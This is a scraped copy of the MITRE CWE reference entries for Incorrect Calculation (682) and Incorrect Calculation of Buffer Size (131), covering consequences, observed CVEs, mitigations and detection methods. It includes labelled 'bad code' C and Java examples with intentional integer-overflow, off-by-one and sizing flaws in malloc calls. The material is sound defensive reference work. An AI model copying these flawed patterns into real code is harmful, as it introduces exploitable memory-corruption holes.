2024-02-29 (CWE 4.14, 2024-02-29)	updated Taxonomy_Mappings

Weakness ID: 682

View customized information:

Description

The product performs a calculation that generates incorrect or unintended results that are later used in security-critical decisions or resource management.

Extended Description

When product performs a security-critical calculation incorrectly, it might lead to incorrect resource allocations, incorrect privilege assignments, or failed comparisons among other things. Many of the direct results of an incorrect calculation can lead to even larger problems such as failed protection mechanisms or even arbitrary code execution.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1000	Research Concepts
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	128	Wrap-around Error
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	131	Incorrect Calculation of Buffer Size
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	135	Incorrect Calculation of Multi-Byte String Length
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	190	Integer Overflow or Wraparound
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	191	Integer Underflow (Wrap or Wraparound)
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	193	Off-by-one Error
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	369	Divide By Zero
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	468	Incorrect Pointer Scaling
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	469	Use of Pointer Subtraction to Determine Size
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1335	Incorrect Bitwise Shift of Integer
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1339	Insufficient Precision or Accuracy of a Real Number
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	681	Incorrect Conversion between Numeric Types
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	839	Numeric Range Comparison Without Minimum Check
CanPrecede	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	170	Improper Null Termination

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	131	Incorrect Calculation of Buffer Size
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	190	Integer Overflow or Wraparound
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	191	Integer Underflow (Wrap or Wraparound)
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	193	Off-by-one Error
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	369	Divide By Zero

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	131	Incorrect Calculation of Buffer Size
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	369	Divide By Zero

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	131	Incorrect Calculation of Buffer Size
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	369	Divide By Zero

Modes Of Introduction

Phase	Note
Implementation

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Availability	Technical Impact: DoS: Crash, Exit, or Restart If the incorrect calculation causes the program to move into an unexpected state, it may lead to a crash or impairment of service.
Integrity Confidentiality Availability	Technical Impact: DoS: Crash, Exit, or Restart; DoS: Resource Consumption (Other); Execute Unauthorized Code or Commands If the incorrect calculation is used in the context of resource allocation, it could lead to an out-of-bounds operation (CWE-119) leading to a crash or even arbitrary code execution. Alternatively, it may result in an integer overflow (CWE-190) and / or a resource consumption problem (CWE-400).
Access Control	Technical Impact: Gain Privileges or Assume Identity In the context of privilege or permissions assignment, an incorrect calculation can provide an attacker with access to sensitive resources.
Access Control	Technical Impact: Bypass Protection Mechanism If the incorrect calculation leads to an insufficient comparison (CWE-697), it may compromise a protection mechanism such as a validation routine and allow an attacker to bypass the security-critical code.

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

The following image processing code allocates a table for images.

(bad code)

Example Language: C

img_t table_ptr; /*struct containing img data, 10kB each*/
int num_imgs;
...
num_imgs = get_num_imgs();
table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);
...

This code intends to allocate a table of size num_imgs, however as num_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num_imgs long, it may result in many types of out-of-bounds problems (CWE-119).

Example 2

This code attempts to calculate a football team's average number of yards gained per touchdown.

(bad code)

Example Language: Java

...
int touchdowns = team.getTouchdowns();
int yardsGained = team.getTotalYardage();
System.out.println(team.getName() + " averages " + yardsGained / touchdowns + "yards gained for every touchdown scored");
...

The code does not consider the event that the team they are querying has not scored a touchdown, but has gained yardage. In that case, we should expect an ArithmeticException to be thrown by the JVM. This could lead to a loss of availability if our error handling code is not set up correctly.

Example 3

This example attempts to calculate the position of the second byte of a pointer.

(bad code)

Example Language: C

int *p = x;
char * second_char = (char *)(p + 1);

In this example, second_char is intended to point to the second byte of p. But, adding 1 to p actually adds sizeof(int) to p, giving a result that is incorrect (3 bytes off on 32-bit platforms). If the resulting memory address is read, this could potentially be an information leak. If it is a write, it could be a security-critical write to unauthorized memory-- whether or not it is a buffer overflow. Note that the above code may also be wrong in other ways, particularly in a little endian environment.

Observed Examples

Reference	Description
CVE-2020-0022	chain: mobile phone Bluetooth implementation does not include offset when calculating packet length (CWE-682), leading to out-of-bounds write (CWE-787)
CVE-2004-1363	substitution overflow: buffer overflow using environment variables that are expanded after the length check is performed

Potential Mitigations

Phase: Implementation

Understand your programming language's underlying representation and how it interacts with numeric calculation. Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how your language handles numbers that are too large or too small for its underlying representation.

Phase: Implementation

Strategy: Input Validation

Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range.

Phase: Implementation

Use the appropriate type for the desired action. For example, in C/C++, only use unsigned types for values that could never be negative, such as height, width, or other numbers related to quantity.

Phase: Architecture and Design

Strategy: Language Selection

Use languages, libraries, or frameworks that make it easier to handle numbers without unexpected consequences.

Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++).

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use languages, libraries, or frameworks that make it easier to handle numbers without unexpected consequences.

Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++).

Phase: Implementation

Strategy: Compilation or Build Hardening

Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.

Phase: Testing

Detection Methods

Manual Analysis

Specifically, manual static analysis is useful for evaluating the correctness of allocation calculations. This can be useful for detecting overflow conditions (CWE-190) or similar weaknesses that might have serious security impacts on the program.

Effectiveness: High

Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	739	CERT C Secure Coding Standard (2008) Chapter 6 - Floating Point (FLP)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	752	2009 Top 25 - Risky Resource Management
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	872	CERT C++ Secure Coding Section 04 - Integers (INT)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	873	CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	977	SFP Secondary Cluster: Design
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1137	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 03. Numeric Types and Operations (NUM)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1159	SEI CERT C Coding Standard - Guidelines 05. Floating Point (FLP)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1306	CISQ Quality Measures - Reliability
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1308	CISQ Quality Measures - Security
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1340	CISQ Data Protection Measures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1408	Comprehensive Categorization: Incorrect Calculation

Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Abstraction

Rationale:

This CWE entry is extremely high-level, a Pillar. In many cases, lower-level children or descendants are more appropriate. However, sometimes this weakness is forced to be used due to the lack of in-depth weakness research. See Research Gaps.

Comments:

Where feasible, consider children or descendants of this entry instead.

Notes

Research Gap

Weaknesses related to this Pillar appear to be under-studied, especially with respect to classification schemes. Input from academic and other communities could help identify and resolve gaps or organizational difficulties within CWE.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	FLP32-C	CWE More Abstract	Prevent or detect domain and range errors in math functions
CERT C Secure Coding	INT07-C		Use only explicitly signed or unsigned char type for numeric values
CERT C Secure Coding	INT13-C		Use bitwise operators only on unsigned operands
CERT C Secure Coding	INT33-C	CWE More Abstract	Ensure that division and remainder operations do not result in divide-by-zero errors
CERT C Secure Coding	INT34-C	CWE More Abstract	Do not shift an expression by a negative number of bits or by greater than or equal to the number of bits that exist in the operand

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-128	Integer Attacks
CAPEC-129	Pointer Manipulation

References

[REF-106] David LeBlanc and Niels Dekker. "SafeInt". <http://safeint.codeplex.com/>.

[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 7: Integer Overflows." Page 119. McGraw-Hill. 2010.

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 6, "Signed Integer Boundaries", Page 220. 1st Edition. Addison Wesley. 2006.

Content History

Submissions
Submission Date	Submitter	Organization
2008-04-11 (CWE Draft 9, 2008-04-11)	CWE Content Team	MITRE
2008-04-11 (CWE Draft 9, 2008-04-11)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Potential_Mitigations, Time_of_Introduction
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Relationships
2008-10-14	CWE Content Team	MITRE
2008-10-14	updated Type
2008-11-24	CWE Content Team	MITRE
2008-11-24	updated Relationships, Taxonomy_Mappings
2009-01-12	CWE Content Team	MITRE
2009-01-12	updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Potential_Mitigations, Relationships
2009-03-10	CWE Content Team	MITRE
2009-03-10	updated Potential_Mitigations
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Demonstrative_Examples
2009-07-27	CWE Content Team	MITRE
2009-07-27	updated Demonstrative_Examples, Related_Attack_Patterns
2009-10-29	CWE Content Team	MITRE
2009-10-29	updated Demonstrative_Examples, Relationships
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Potential_Mitigations
2010-04-05	CWE Content Team	MITRE
2010-04-05	updated Detection_Factors, Potential_Mitigations, References
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Potential_Mitigations
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Potential_Mitigations
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Relationships
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Demonstrative_Examples, References, Relationships
2014-02-18	CWE Content Team	MITRE
2014-02-18	updated Relationships
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Relationships
2017-01-19	CWE Content Team	MITRE
2017-01-19	updated Applicable_Platforms
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Taxonomy_Mappings
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Relationships
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Related_Attack_Patterns, Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Applicable_Platforms, Observed_Examples, Relationships, Type
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-07-20	CWE Content Team	MITRE
2021-07-20	updated Relationships
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description, Potential_Mitigations
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Relationships, Time_of_Introduction
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes, Research_Gaps

Weakness ID: 131

View customized information:

Description

The product does not correctly calculate the size to be used when allocating a buffer, which could lead to a buffer overflow.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	682	Incorrect Calculation
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	467	Use of sizeof() on a Pointer Type
CanPrecede	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1218	Memory Buffer Errors

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	682	Incorrect Calculation

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	682	Incorrect Calculation

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	682	Incorrect Calculation

Modes Of Introduction

Phase	Note
Implementation

Applicable Platforms

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Integrity Availability Confidentiality	Technical Impact: DoS: Crash, Exit, or Restart; Execute Unauthorized Code or Commands; Read Memory; Modify Memory If the incorrect calculation is used in the context of memory allocation, then the software may create a buffer that is smaller or larger than expected. If the allocated buffer is smaller than expected, this could lead to an out-of-bounds read or write (CWE-119), possibly causing a crash, allowing arbitrary code execution, or exposing sensitive data.

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

The following code allocates memory for a maximum number of widgets. It then gets a user-specified number of widgets, making sure that the user does not request too many. It then initializes the elements of the array using InitializeWidget(). Because the number of widgets can vary for each request, the code inserts a NULL pointer to signify the location of the last widget.

(bad code)

Example Language: C

int i;
unsigned int numWidgets;
Widget **WidgetList;

numWidgets = GetUntrustedSizeValue();
if ((numWidgets == 0) || (numWidgets > MAX_NUM_WIDGETS)) {

ExitError("Incorrect number of widgets requested!");

}
WidgetList = (Widget **)malloc(numWidgets * sizeof(Widget *));
printf("WidgetList ptr=%p\n", WidgetList);
for(i=0; i<numWidgets; i++) {

WidgetList[i] = InitializeWidget();

}
WidgetList[numWidgets] = NULL;
showWidgets(WidgetList);

However, this code contains an off-by-one calculation error (CWE-193). It allocates exactly enough space to contain the specified number of widgets, but it does not include the space for the NULL pointer. As a result, the allocated buffer is smaller than it is supposed to be (CWE-131). So if the user ever requests MAX_NUM_WIDGETS, there is an out-of-bounds write (CWE-787) when the NULL is assigned. Depending on the environment and compilation settings, this could cause memory corruption.

Example 2

The following image processing code allocates a table for images.

(bad code)

Example Language: C

img_t table_ptr; /*struct containing img data, 10kB each*/
int num_imgs;
...
num_imgs = get_num_imgs();
table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);
...

Example 3

This example applies an encoding procedure to an input string and stores it into a buffer.

(bad code)

Example Language: C

char * copy_input(char *user_supplied_string){

int i, dst_index;
char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
if ( MAX_SIZE <= strlen(user_supplied_string) ){

die("user string too long, die evil hacker!");

}
dst_index = 0;
for ( i = 0; i < strlen(user_supplied_string); i++ ){

if( '&' == user_supplied_string[i] ){

dst_buf[dst_index++] = '&';
dst_buf[dst_index++] = 'a';
dst_buf[dst_index++] = 'm';
dst_buf[dst_index++] = 'p';
dst_buf[dst_index++] = ';';

}
else if ('<' == user_supplied_string[i] ){

/* encode to < */

}
else dst_buf[dst_index++] = user_supplied_string[i];

}
return dst_buf;

}

Example 4

The following code is intended to read an incoming packet from a socket and extract one or more headers.

(bad code)

Example Language: C

DataPacket *packet;
int numHeaders;
PacketHeader *headers;

sock=AcceptSocketConnection();
ReadPacket(packet, sock);
numHeaders =packet->headers;

if (numHeaders > 100) {

ExitError("too many headers!");

}
headers = malloc(numHeaders * sizeof(PacketHeader);
ParsePacketHeaders(packet, headers);

The code performs a check to make sure that the packet does not contain too many headers. However, numHeaders is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as -3, then the malloc calculation will generate a negative number (say, -300 if each header can be a maximum of 100 bytes). When this result is provided to malloc(), it is first converted to a size_t type. This conversion then produces a large value such as 4294966996, which may cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick malloc() into using a very small positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow.

Example 5

The following code attempts to save three different identification numbers into an array. The array is allocated from memory using a call to malloc().

(bad code)

Example Language: C

int *id_sequence;

/* Allocate space for an array of three ids. */

id_sequence = (int*) malloc(3);
if (id_sequence == NULL) exit(1);

/* Populate the id array. */

id_sequence[0] = 13579;
id_sequence[1] = 24680;
id_sequence[2] = 97531;

The problem with the code above is the value of the size parameter used during the malloc() call. It uses a value of '3' which by definition results in a buffer of three bytes to be created. However the intention was to create a buffer that holds three ints, and in C, each int requires 4 bytes worth of memory, so an array of 12 bytes is needed, 4 bytes for each int. Executing the above code could result in a buffer overflow as 12 bytes of data is being saved into 3 bytes worth of allocated space. The overflow would occur during the assignment of id_sequence[0] and would continue with the assignment of id_sequence[1] and id_sequence[2].

The malloc() call could have used '3*sizeof(int)' as the value for the size parameter in order to allocate the correct amount of space required to store the three ints.

Observed Examples

Reference	Description
CVE-2020-17087	Chain: integer truncation (CWE-197) causes small buffer allocation (CWE-131) leading to out-of-bounds write (CWE-787) in kernel pool, as exploited in the wild per CISA KEV.
CVE-2004-1363	substitution overflow: buffer overflow using environment variables that are expanded after the length check is performed
CVE-2004-0747	substitution overflow: buffer overflow using expansion of environment variables
CVE-2005-2103	substitution overflow: buffer overflow using a large number of substitution strings
CVE-2005-3120	transformation overflow: product adds extra escape characters to incoming data, but does not account for them in the buffer length
CVE-2003-0899	transformation overflow: buffer overflow when expanding ">" to ">", etc.
CVE-2001-0334	expansion overflow: buffer overflow using wildcards
CVE-2001-0248	expansion overflow: long pathname + glob = overflow
CVE-2001-0249	expansion overflow: long pathname + glob = overflow
CVE-2002-0184	special characters in argument are not properly expanded
CVE-2004-0434	small length value leads to heap overflow
CVE-2002-1347	multiple variants
CVE-2005-0490	needs closer investigation, but probably expansion-based
CVE-2004-0940	needs closer investigation, but probably expansion-based
CVE-2008-0599	Chain: Language interpreter calculates wrong buffer size (CWE-131) by using "size = ptr ? X : Y" instead of "size = (ptr ? X : Y)" expression.

Potential Mitigations

Phase: Implementation

When allocating a buffer for the purpose of transforming, converting, or encoding an input, allocate enough memory to handle the largest possible encoding. For example, in a routine that converts "&" characters to "&" for HTML entity encoding, the output buffer needs to be at least 5 times as large as the input buffer.

Phase: Implementation

Understand the programming language's underlying representation and how it interacts with numeric calculation (CWE-681). Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how the language handles numbers that are too large or too small for its underlying representation. [REF-7]

Also be careful to account for 32-bit, 64-bit, and other potential differences that may affect the numeric representation.

Phase: Implementation

Strategy: Input Validation

Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range.

Phase: Architecture and Design

Phase: Implementation

When processing structured incoming data containing a size field followed by raw data, identify and resolve any inconsistencies between the size field and the actual size of the data (CWE-130).

Phase: Implementation

When allocating memory that uses sentinels to mark the end of a data structure - such as NUL bytes in strings - make sure you also include the sentinel in your calculation of the total amount of memory that must be allocated.

Phase: Implementation

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

Effectiveness: Moderate

Note: This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131). Additionally, this only addresses potential overflow issues. Resource consumption / exhaustion issues are still possible.

Phase: Implementation

Use sizeof() on the appropriate data type to avoid CWE-467.

Phase: Implementation

Use the appropriate type for the desired action. For example, in C/C++, only use unsigned types for values that could never be negative, such as height, width, or other numbers related to quantity. This will simplify validation and will reduce surprises related to unexpected casting.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Use libraries or frameworks that make it easier to handle numbers without unexpected consequences, or buffer allocation routines that automatically track buffer size.

Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++). [REF-106]

Phases: Operation; Build and Compilation

Strategy: Environment Hardening

D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.

Effectiveness: Defense in Depth

Note:

Phases: Operation; Build and Compilation

Strategy: Environment Hardening

For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].

Effectiveness: Defense in Depth

Phase: Operation

Strategy: Environment Hardening

For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336].

Effectiveness: Defense in Depth

Phase: Implementation

Strategy: Compilation or Build Hardening

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Automated static analysis generally does not account for environmental considerations when reporting potential errors in buffer calculations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.

Effectiveness: High

Note: Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis

Effectiveness: Moderate

Note: Without visibility into the code, black box methods may not be able to sufficiently distinguish this weakness from others, requiring follow-up manual methods to diagnose the underlying problem.

Manual Analysis

Effectiveness: High

Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: High

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Cost effective for partial coverage:

Source Code Quality Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	802	2010 Top 25 - Risky Resource Management
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	865	2011 Top 25 - Risky Resource Management
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	974	SFP Secondary Cluster: Incorrect Buffer Length Computation
